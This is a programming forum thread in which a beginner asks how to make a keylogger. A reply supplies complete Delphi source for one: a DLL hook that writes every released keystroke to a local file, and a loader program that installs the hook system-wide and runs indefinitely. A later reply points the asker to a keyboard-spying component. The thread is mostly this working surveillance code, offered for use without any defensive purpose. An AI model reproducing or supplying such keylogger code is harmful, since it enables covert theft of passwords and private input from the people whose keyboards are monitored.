key logger

I am new at this, and could somebody please

tell me how to make a keylogger.






Comments

  • Hope the following helps:



    library Snoopdll;



    { Important note about DLL memory management: ShareMem must be the

    first unit in your library's USES clause AND your project's (select

    Project-View Source) USES clause if your DLL exports any procedures or

    functions that pass strings as parameters or function results. This

    applies to all strings passed to and from your DLL--even those that

    are nested in records and classes. ShareMem is the interface unit to

    the BORLNDMM.DLL shared memory manager, which must be deployed along

    with your DLL. To avoid using BORLNDMM.DLL, pass string information

    using PChar or ShortString parameters. }



    uses

    Windows;



    Procedure HookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM); stdcall;

    var

    LogFile : THandle;

    BytesWritten : DWORD;

    Ch : Byte;

    begin

    if ((HiWord(lParam) and KF_UP) <> 0) and (nCode = HC_ACTION) then

    begin

    LogFile := CreateFile('c:x.x', GENERIC_WRITE, FILE_SHARE_READ, Nil,

    OPEN_ALWAYS, 0, 0);

    SetFilePointer(LogFile, 0, Nil, FILE_END);

    WriteFile (LogFile, wParam, 1, BytesWritten, Nil);

    if Lo(wParam) = 13 then

    begin

    Ch := 10;

    WriteFile (LogFile, Ch, 1, BytesWritten, Nil);

    end;

    CloseHandle(LogFile);

    end;

    CallNextHookEx(0, nCode, wParam, lParam);

    end;



    exports HookProcedure;

    begin

    end.





    program Snoop;

    uses

    Windows;



    {$R *.RES}



    var

    Hook : HHOOK;

    DllInstance : DWORD;

    HookProc : FARPROC;



    Begin

    DllInstance := LoadLibrary('SNOOPDLL');

    HookProc := GetProcAddress(DllInstance, 'HookProcedure');

    Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);

    Sleep(INFINITE);

    UnhookWindowsHookEx(Hook);

    FreeLibrary(DllInstance);

    end.













    : I am new at this, and could somebody please

    : tell me how to make a keylogger.

    :

    :

    :








  • I was very kind of you.







    Thanks ....









    LARS


  • on torry pages www.torry.ru under SystemKeys and Keyboard there's a nice little component: KeySpy v.2.6 .. u could learn something from there ;)




Sign In or Register to comment.

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories